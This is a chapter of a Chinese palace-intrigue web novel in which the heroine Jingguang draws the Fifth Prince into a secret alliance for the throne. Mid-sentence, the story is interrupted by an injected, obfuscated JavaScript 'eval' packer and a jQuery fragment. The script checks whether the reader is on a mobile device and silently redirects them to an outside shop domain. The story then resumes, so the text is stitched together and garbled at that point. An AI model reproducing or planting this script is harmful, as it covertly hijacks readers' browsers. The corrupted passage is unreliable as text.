近日,承德帝下旨,让皇子们从宫中离开,统统搬到宫外。
五皇子正在规划布置到一半的府邸,这时小安重重跑过来传信,说二姑娘想要约见,有重要的事情要谈。
还以为终于能说些风花雪月的事情了,五皇子半个晚上没睡觉,次日将自己从头到脚精心打扮了一番,端的是容如春花、貌比秋菊。
不油腻可谓是美少男的清爽剂,这样的气质衬托得五皇子越发俊逸了。
丰茂一再在皇子府未安放好的水银镜前催促“殿下您已经很完美了”,五皇子才看了又看,满怀忐忑地前往上次约见的秘密小院。
这段日子,王姑娘也没有接受自己示好的其他礼物,也没有其他的约见,只有自己一人辗转反侧,思念佳人,却又不敢唐突对方,于是时刻留意着下面的消息。
好在功夫不负有心人,他终于等到了倾慕之人的来信。
也不知今日相约,是有什么事情呢?是她愿意和自己在一起的好事吗?
唉,此时多么希望得到上苍的保佑啊!
或者,他该去明化寺,或者月老庙拜一拜?
赴约的一路上,五皇子的两颊都在泛着红晕,心中的美梦无穷无尽:
自从在梅林之后的假山亭桥边,他第一次看见云中桂子化作的仙女,神女的音容笑貌就一直在他的心中偏向徘徊。
曾经,阅读什么“襄王神女巫山云雨”的故事他没有丝毫兴趣,可是现在,五皇子才能感同身受,若是,若是……
“殿下,您慢点哟!”
丰茂急得在本就炎热的天气又出了一身的汗。
随从还在呼喊,可是五皇子越走越快,几乎要飞腾起来。也只有这样,他才能将其他人远远甩在后面,不让他们发现自己鲜红欲滴的耳垂。
不知神女,想要对他说些什么密语呢?
.
“想合作吗?”
镜光这几个字属实是把五皇子满是少男情意的脑子激灵了一下。
看见他陡然清醒的眼神,镜光暗中点头:
算是有点脑子。
果然,合作的时候绝对不能要猪队友。
五皇子嘴角的笑容半是失落半是复杂地微微垂下来,身后看不见的尾巴也不再摇晃了:
“二姑娘,您这话是什么意思?若是您遇见了什么需要解决的事情,我自然会义不容辞……”
还未等他说完,镜光放下手上的冰饮流利盖碗,向五皇子轻移而来。
满是樱桃酥山的冰碗轻轻放在桌上的声音响起,五皇子才惊觉,今日的二姑娘没有行礼、没有起身,而是像一位掌握了筹码的人,审视着他。
但他也没心思思考了。
镜光走到他的身前,冰冰凉凉的手试着往他热气腾腾的脸颊试探。
仅仅是一触即分,五皇子的脑海里已经掀起了狂风暴雨、热浪滔天。
即使是在有冰鉴的室内,他的面容仍然如同夏日雨后大朵大朵的牡丹,绽放出了潮热的灼红。
——酒不醉人人自醉,也不过如此了吧。
五皇子心想。
——大漂亮的确是漂亮,所以,可以试一试?
五皇子别的不说,一身皮相的确无可挑剔,再想到眼馋的某个宝座,镜光的呼吸也不自觉加重了。
“我的确有一件事情困扰,已经夜不能寐、日不能食许久了。殿下是岂弟君子,和那些游街打马的纨绔、蛮横无礼的公子自然大为不同。”
镜光先是给五皇子戴上了一顶顶高帽子。
听了佳人的夸赞,甭管是为了什么夸赞的吧,五皇子自然心花怒放。
他将镜光拉回刚刚的座位上,又掏出了今日准备开府事宜时为她攒下的珍奇物件。两人似乎是没有忧虑地欢笑了半晌。
但理智渐渐回笼的五皇子自然不会放下刚刚对方的“合作”。
绕来绕去,一个有心,一个有意,话语自然又回到了这个有些危险的主题上。
“也是我的不是,前段时日,殿下春风得意,我还没有恭喜您呢。”
镜光笑意吟吟。
为什么春风得意?因为大皇子二皇子的部分权力分给了弟弟们啊。
许多个夜晚,镜光在床帐边就着已知的局势不断转脑筋,终于在她的大脑也要冒烟的时候,一道灵光闪过:
五皇子若是真的与大皇子是一条心,那那天在酔来楼,按照他不骄不躁的样子,定然是不会把话说得人尽皆知的。
说来说去,他的心思,也许与她并无不同呢。
五皇子也不知是不是听出了镜光的试探,只是温柔地为镜光摆放茶点。
他的眉眼恰到好处地低弯下来,一眼看去,倒真是个贤惠男人样子。
“二姑娘说笑了。在我这里,您何谈失礼之处呢?我也只不过是毛头小儿,帮着父皇分忧而已。能尽孝道侍奉父皇,是我身为儿臣的荣幸,也无需恭喜。”
他修长白皙的手指为镜光递上一杯解暑的凉茶。
想堵住我的话?
镜光抿了一口茶水,味道酸酸甜甜的。
她轻轻巧巧地将茶水放在酥山的旁边,又轻轻巧巧开口:
“殿下,我长到二八年华,您是第一位、也是唯一一位让我有心相待的郎君。”
“今日若您心有顾虑,咱们出门子就只当什么都没发生过;可您若是诚心相待,我也想问问殿下,可否做一位更加‘孝顺’的儿臣呢?”
“姑娘慎言——”
五皇子脑子不傻,听出了镜光的暗示后急急忙忙打住了镜光的话语。
要是再让二姑娘继续下去,今日之事,自己也不干净了。
就这点东西,前后无人的房间内,五皇子都生怕惹上麻烦,也根本不敢向外张扬;若是二姑娘再和别人说起,那他就更加百口莫辩了!
他一个深呼吸,勉强平复扑通扑通的心跳,急忙接话:
“二姑娘,今日的事情,您对我说就罢了,咱们就当什么事情都没有。您也不过是闺阁姑娘,不清楚其中险恶,若是别人……”
“别人?”
镜光疑惑。
难道她会随随便便把这种事情和别人说吗?
找上五皇子,也是因为他年轻漂亮、有野心有可能、明摆着爱慕自己,还有点子不大不小的把柄在自己手上罢了。
想来那日酔来楼的事情,五皇子向大皇子和养母李贵嫔的汇报一定和事实相差甚远。
而且……昨日镜光反复咀嚼表姐那边的信件,还发现了五皇子的一点好处呢。
当年,五皇子母家苗家被牵连在敬国公的案子里,舅舅被流放。
后来承德帝登基,舅舅苗氏赶上了大赦天下、摆脱罪籍,如今在北面借着“皇子舅舅”的名头也混成了一点不大不小的总兵,以后也不知不能用得上。
就算这个苗舅舅烂泥扶不上墙,但总归与西北有联系的五皇子,也会为镜光对敬国公事件幕后黑手的查询,有所帮助吧?
她的可爱酒窝舒展开来,向风声鹤唳的五皇子露出了一抹甜美的笑:
“殿下真是会开玩笑,除了您,我又会向谁透露呢?”
五皇子这时候有些进退两难:
于情,他是真的被镜光吸引。
其实情窦初开的他也不知道这是什么感觉,但镜光于他而言,就像是冬日灰蒙蒙的雾霾里突然透出的九月碧空,让他整个人都在秋阳和金桂赐予的眼花缭乱里,意乱神迷;
于理,他真的不能再说下去这些进退维谷的话语了。
这些年他的小心思,一直隐藏得小心翼翼,没有被养母和大哥知晓,今年父皇刚对他松动了态度,他要考虑的事情太多了。
就连舅舅那边,也没有皇城里的人清楚多少。
五皇子暗忖,他应该结束这场对话了。
也许二姑娘只是遇见了女儿家的困难受到了刺激,等过几日,他再找一些珍品首饰让她开心,或者,为她聘一只乖巧狸奴?那没送出去的琥珀黄缂丝上面,还有扑桂花的可爱狸奴呢。
也不知二姑娘是喜欢乌云盖雪,还是中意金被银床……
五皇子还想着下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17742346|205799||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一次的见面,因而在想要告辞前再问问,二姑娘喜欢什么宠物或者礼物。
刚想张口,却意外收到了一沓眼前的、镜光此时就向他塞过来的“礼物”。
“不看看吗?”
二姑娘黑亮的眼睛不断闪烁着狡黠的光。
不该这样的,他不该冒险的……
五皇子就像神话中明知金丹有诈,但仍对“万年长寿的灵丹妙药”选择痴迷的人间帝王,腿上做好了离开的姿势,双手却诚实地接过了镜光手里的诱惑。
——其实他内心也知晓:
他真正妥协的,不只是镜光,还有自己内心的野望。
看到白纸里面灵动飘逸的丹青墨笔,五皇子惊疑地看了镜光一眼,随后快速阅读完毕。
他将薄如蝉翼的纸张放入冰鉴下半化开的冷水之中,任纸张完完全全被晕染、模糊、破裂,才转回头正视镜光。
五皇子为了和镜光见面特地准备的房屋里面一片通透明亮,此时此刻,他本就雪白的皮肤在日头下越发通透莹亮,纤细修长如仙鹤一般的脖颈上,秀气的喉结不安晃动:
“二姑娘,当真……又为何是我?”
因为你方方面面最为适合,而且又漂亮到让我心动。
镜光抬起头来,语气欢快,明明她的身量才到五皇子的肩膀处,但说话的语气可比五皇子更像站在高位之人:
“因为……是殿下啊。”
她试探着拉五皇子比珍珠还白皙、比竹节还修长的手。
“殿下,我的心不是铁打的,您对我的尊重爱护,我都看在眼里、记在心里。”
“燕雀安知鸿鹄之志?我没去过朝堂,但也能从前阵子的风声鹤唳中有所感知。大皇子一心利用您,二皇子却是瞧不起您。明明……明明您的才能不在他们之下,又为何要受这样的委屈?”
“而且——”
表演完上面的台词,即将到了真话环节,镜光的眼睛中似乎真的有两团火热的太阳闪耀:
“而且,我娘亲父亲催着我成婚,我也想要最好的啊!”
“殿下龙章凤姿、雄心万丈,我心仪殿下,也想坐在最高的位置上让人众星捧月,有错吗?”
桂花仙子有错吗?
——当然没错啊!
被镜光一顿迷魂汤灌下去,本就是心悦佳人、又渴望利益的五皇子觉得此事大有可为。
他颤抖着反握紧镜光的葇荑,一迭声地向她应允。
把一些人脉向他展示、但底牌都留在自己和表姐手里的镜光发出了此生最甜美的声音,带着一把裹着蜜糖和毒药的钩子:
“殿下是君子,一定不会辜负我的是不是?”
五皇子今日受到了太大的冲击,他潜意识觉得二姑娘过于胆大,不像是之前设想的闺阁淑女;
又真的满心沉浸在心仪的姑娘要和他在一起的喜悦之中,此时他这个对二姑娘一见钟情、魂牵梦萦了半年之久的少年郎君,终于在心潮中的“参差荇菜”从流飘荡之下,唱一首“关关雎鸠”,抵达了恋慕之人的“河洲”。
难以掩饰的狂喜将他的心头淹没,也暂时冲刷下了那一点不自在。
五皇子点头如捣蒜,恨不得大声保证:
“自然如此!二姑娘如此信任于我,我向皇天后土发誓,不纳二色、此生不负!”
“盟誓之言,皎如悬日;天长地久,永不相欺!”
记住了哦,天长地久,永不相欺。
镜光阖眸一笑,刚刚直勾勾的黑眼睛变成了平时笑意盈盈的弯弯长虹:
“殿下,请称呼我,镜光吧。”
这一刻,镜光也不是没有动容。就算是有目的,前提也要是她喜欢啊。
五皇子眼中,刚刚定情的佳人一切都是好的,这个名字也极有韵味:
“当真是个好名字!是‘镜中琳琅、满室荣光’的意思吗?”
果然,世人总不能事事让自己顺心啊。
镜光微微摇头,语气坚定:
“不,殿下。是‘镜破不改光,兰死不改香’的镜光。”(注)